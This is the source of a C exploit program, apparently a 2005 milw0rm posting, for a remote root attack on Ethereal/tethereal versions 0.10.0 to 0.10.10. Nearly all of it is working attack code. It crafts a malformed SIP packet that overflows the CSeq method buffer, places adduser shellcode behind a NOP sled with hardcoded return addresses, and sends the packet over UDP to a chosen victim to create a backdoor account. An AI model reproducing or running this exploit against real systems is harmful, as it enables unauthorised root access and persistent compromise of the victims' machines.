File size: 6,115 Bytes
497f2f3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
/* tethereal_sip.c (now quite functional)

*

* Ethereal (0.10.0 to 0.10.10) SIP Dissector remote root exploit

*

* Advisory: 

* http://www.ethereal.com/appnotes/enpa-sa-00019.html

* 

* produced by Team W00dp3ck3r:

* frauk\x41iser

* mag00n

* s00n

* thorben

* 

* Notes:

* tested on Debian Sarge 

* Linux maggot4 2.6.8-1-386 #1 Mon Sep 13 23:29:55 EDT 2004 i686 GNU/Linux

*

* tested version of ethereal:

* http://www.ethereal.com/distribution/all-versions/ethereal-0.10.10.tar.gz

* (./configure, make, make install ;))

* 

* victim has to switch from normal user to root using "su -" 

* the exploit adds a user named "su" with password "su" on the victim host

* 

*/





#include <stdio.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netdb.h>

#include <netinet/in.h>





unsigned char sip_header[] = 

"\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"

"\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"

"\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"

"\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"

"\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"

"\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"

"\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"

"\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"

"\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"

"\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"

"\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b";



unsigned char callid[] =

"\x0a\x43\x61\x6c\x6c\x2d\x49\x44\x3a\x20";





/* adduser shellcode, user: "su", pwd: "su" Full Size=116, splitted into 

2 parts because one buffer was too small. thx to http://metasploit.com */

unsigned char shellcode[] =

"\x31\xc9\x83\xe9\xe9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa5"

"\xb7\x95\xbb\x83\xeb\xfc\xe2\xf4\x94\x7e\x1c\x70\xcf\xf1\xcd\x76"

"\x25\xdd\x90\xe3\x94\x7e\xc4\xd3\xd6\xc4\xe2\xdf\xcd\x98\xba\xcb"

"\xc4\xdf\xba\xde\xd1\xd4\x1c\x58\xe4\x02\x91\x76\x25\x24\x7d\x9b"

"\xa5\xb7\x95\xc8\xd0\x8d\xd4\xfa\xdf\xf2\xac\xd4\xd4\xf9\xdd\xed"

"\xf5\x82\xe6\x81\x95\x8d\xa5\x81\x9f\x98\xaf\x94\xc7\xde\xfb\x94"

"\xd6\xdf\x9f\xe2\x2e\xe6";





unsigned char cseq[] = 

"\x0a\x43\x53\x65\x71\x3a\x20";



/* the malformed cseq method field. the buffer has a size of 16 byte. you need 

48 byte to overwrite the return address. the first byte is checked isalpha(), 

so we splitted the shellcode in a way that the first char of cseq_method passes

the isalpha() check. */ 

unsigned char cseq_method[] = 

"\x69\xd1\xa1\xef\x58\x3b\xcf\xb6\xcd\x76\x25\xb7\x95\xbb";





/* needed to be a fully valid sip packet */

unsigned char sip_footer[] =

"\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63\x6b\x3a"

"\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e\x67\x74"

"\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77\x61\x72"

"\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41\x67\x65"

"\x6e\x74\x3a\x20\x57\x30\x30\x64\x70\x33\x63\x6b\x33\x72\x20"

"\x0a";







int main(int argc, char * argv[]) {

unsigned int i, offset, ret, p_addr;

struct sockaddr_in dest;

struct hostent *he;

int sock, slen = sizeof(struct sockaddr);

unsigned char buffer[2048];



// help output

if(argc < 3) {

printf("correct syntax: %s <flag> <host> \n", argv[0]);

printf("possible flag: \n");

printf("1 the ethereal user has started tethereal" 

"with full path as root \n");

printf("2 the ethereal user has started tethereal" 

"without directorypath as root \n");

return 1;

}



// p_addr may differ on other systems ;)

if (argv[1][0] == '1') {

p_addr = 0xbffee328;

}



if (argv[1][0] == '2') {

p_addr = 0xbffee338;

}



// destination-ip check

if((he = gethostbyname(argv[2])) == NULL) {

printf("[!] Couldn't resolve %s\n", argv[2]);

return 1;

}



// open socket

if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {

perror("socket()");

return 1;

}



// set packet parameters

dest.sin_port = htons(5060);

dest.sin_family = AF_INET;

dest.sin_addr = *((struct in_addr *)he->h_addr);



// set the returnaddress (may differ on other systems)

ret = 0xbffee240; 





//// generate a buffer containing the data ////

offset = 0;



// set all values of the buffer to 0x0

memset(buffer, 0x0, sizeof(buffer));



// copy the header into the buffer

memcpy(buffer+offset, sip_header, sizeof(sip_header)); 

offset += sizeof(sip_header) -1;



// concat the callid into the buffer

memcpy(buffer+offset, callid, sizeof(callid)); 

offset += sizeof(callid) -1;



// add the callid-value (nop+shellcode)

i = 128 - sizeof(shellcode) +1; 

memset(buffer+offset, 0x90, i);

offset += i;



// insert shellcode into buffer

memcpy(buffer+offset, shellcode, sizeof(shellcode));

offset += sizeof(shellcode) -1; 





// concat the cseq

memcpy(buffer+offset, cseq, sizeof(cseq)); 

offset += sizeof(cseq) -1;



// generate the part, which causes the overflow (=cseq-method)

memcpy(buffer+offset, cseq_method, sizeof(cseq_method)); 

offset += sizeof(cseq_method) -1; 



// fill the rest of cseq_method with A

memset(buffer+offset, 0x41, 30);

offset += 30; 

// write return address

*(long *)&buffer[offset] = ret; 

offset += 4;



// repair the first pointer after ret- address

*(long *)&buffer[offset] = 0x08215184; // is a pointer DEST-value: 0x1

offset += 4;

// repair second pointer after ret- address 

*(long *)&buffer[offset] = p_addr;

offset += 4; 



// the finalising part of the message

memcpy(buffer+offset, sip_footer, sizeof(sip_footer)); 



// send the buffer to the victim

if (sendto(sock, buffer, sizeof(buffer), 0, 

(struct sockaddr *)&dest, slen)== -1) {

printf("[!] Error sending packet!\n");

return 1;

}



// DEBUG //

// printf("%s\n", buffer);



printf("[*] dark W00dp3ck3r packet sent!\n");

close(sock);

return 0;



}



// milw0rm.com [2005-05-31]